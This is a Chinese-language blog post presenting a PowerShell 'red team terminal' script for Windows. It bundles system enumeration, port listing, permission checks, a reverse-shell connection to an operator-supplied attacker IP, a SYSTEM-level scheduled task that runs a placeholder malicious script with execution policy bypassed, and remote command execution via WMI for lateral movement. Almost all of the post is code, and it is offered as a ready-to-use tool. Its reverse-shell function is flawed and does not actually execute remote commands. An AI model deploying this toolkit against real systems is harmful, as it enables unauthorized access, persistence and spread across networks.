写点什么

红队终端:高级系统枚举与权限提升工具详解

作者:qife122
  • 2025-08-23
    福建
  • 本文字数:2351 字

    阅读完需:约 8 分钟

红队终端:高级系统枚举与权限提升工具详解

redteam_terminal.ps1

作者: Gerard King


描述: 面向一级红队操作员的高级终端程序,用于系统枚举、权限提升和持久化控制。


使用场景: 渗透测试人员和红队操作员在 Windows 环境中进行对抗演练。


标签: PowerShell, 红队, 渗透测试, 枚举, 权限提升, 持久化

系统信息收集函数

function Get-SystemInfo {    $os = Get-CimInstance -ClassName Win32_OperatingSystem    $cpu = Get-CimInstance -ClassName Win32_Processor    $services = Get-Service    $users = Get-WmiObject -Class Win32_UserAccount        Write-Host "`n[+] 系统信息:"    Write-Host "操作系统: $($os.Caption) | 版本: $($os.Version)"    Write-Host "CPU: $($cpu.Name)"        Write-Host "`n[+] 系统用户:"    $users | ForEach-Object { Write-Host "用户: $($_.Name) | 域: $($_.Domain)" }        Write-Host "`n[+] 运行中的服务:"    $services | Select-Object Name, Status | Format-Table}
复制代码

网络端口扫描函数

function Scan-Network {    Write-Host "`n[+] 网络扫描(开放端口):"    $netstat = netstat -an | Select-String "LISTENING"    $netstat | ForEach-Object { Write-Host $_.Line }}
复制代码

权限提升检测函数

function Priv-EscalationCheck {    Write-Host "`n[+] 权限提升检查(不安全权限):"    $vulnerableDirs = @(        "C:\Program Files",        "C:\Windows\System32",         "C:\Users\Public"    )        foreach ($dir in $vulnerableDirs) {        Write-Host "`n检查目录: $dir"        Get-Acl $dir | Select-Object Path, Access    }}
复制代码

反向 Shell 后门函数

function Start-ReverseShell {    param (        [string]$ip,        [int]$port    )        Write-Host "`n[+] 启动反向Shell连接到 ${ip}:${port}"    $reverseShell = New-Object System.Net.Sockets.TcpClient($ip, $port)    $stream = $reverseShell.GetStream()        $writer = New-Object System.IO.StreamWriter($stream)    $reader = New-Object System.IO.StreamReader($stream)        while ($true) {        $command = Read-Host "Shell命令"        if ($command -eq "exit") {            $writer.WriteLine("exit")            $writer.Flush()            break        }        $writer.WriteLine($command)        $writer.Flush()        $response = $reader.ReadLine()        Write-Host $response    }        $reader.Close()    $writer.Close()    $reverseShell.Close()}
复制代码

持久化机制设置函数

function Set-Persistence {    Write-Host "`n[+] 设置持久化(计划任务)"    $taskName = "RedTeamPersistence"    $taskAction = "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1"    $taskTrigger = New-ScheduledTaskTrigger -AtStartup    $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $taskAction        Register-ScheduledTask -Action $taskAction -Trigger $taskTrigger -TaskName $taskName -User "NT AUTHORITY\SYSTEM"    Write-Host "[+] 通过计划任务安装持久化机制: $taskName"}
复制代码

横向移动函数

function Lateral-Movement {    param (        [string]$targetIp,        [string]$command    )        Write-Host "`n[+] 向 ${targetIp} 发起横向移动"    Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command    Write-Host "[+] 在 ${targetIp} 上执行的命令: ${command}"}
复制代码

主终端交互函数

function Start-RedTeamTerminal {    Clear-Host    Write-Host "[+] 欢迎使用红队终端。准备接收命令。"    Write-Host "[+] 输入 'exit' 退出或 'help' 查看可用命令。"        while ($true) {        $input = Read-Host "输入命令"        switch ($input.ToLower()) {            'sysinfo' { Get-SystemInfo }            'network' { Scan-Network }            'priv' { Priv-EscalationCheck }            'rev' {                $ip = Read-Host "输入攻击者IP"                $port = Read-Host "输入端口"                Start-ReverseShell -ip $ip -port $port            }            'persistence' { Set-Persistence }            'lateral' {                $targetIp = Read-Host "输入目标IP"                $command = Read-Host "输入要执行的命令"                Lateral-Movement -targetIp $targetIp -command $command            }            'exit' { Write-Host "[+] 退出红队终端。"; break }            'help' {                Write-Host "`n[+] 可用命令:"                Write-Host "'sysinfo' - 显示系统信息"                Write-Host "'network' - 扫描开放端口"                Write-Host "'priv' - 检查权限提升机会"                Write-Host "'rev' - 启动反向Shell后门"                Write-Host "'persistence' - 通过计划任务设置持久化"                Write-Host "'lateral' - 通过横向移动远程执行命令"                Write-Host "'exit' - 退出终端"            }            default { Write-Host "[+] 无效命令。输入 'help' 查看可用命令。" }        }    }}
# 启动红队终端Start-RedTeamTerminal
# 关闭前暂停Read-Host "按Enter退出..."
复制代码


更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
红队终端:高级系统枚举与权限提升工具详解_渗透测试_qife122_InfoQ写作社区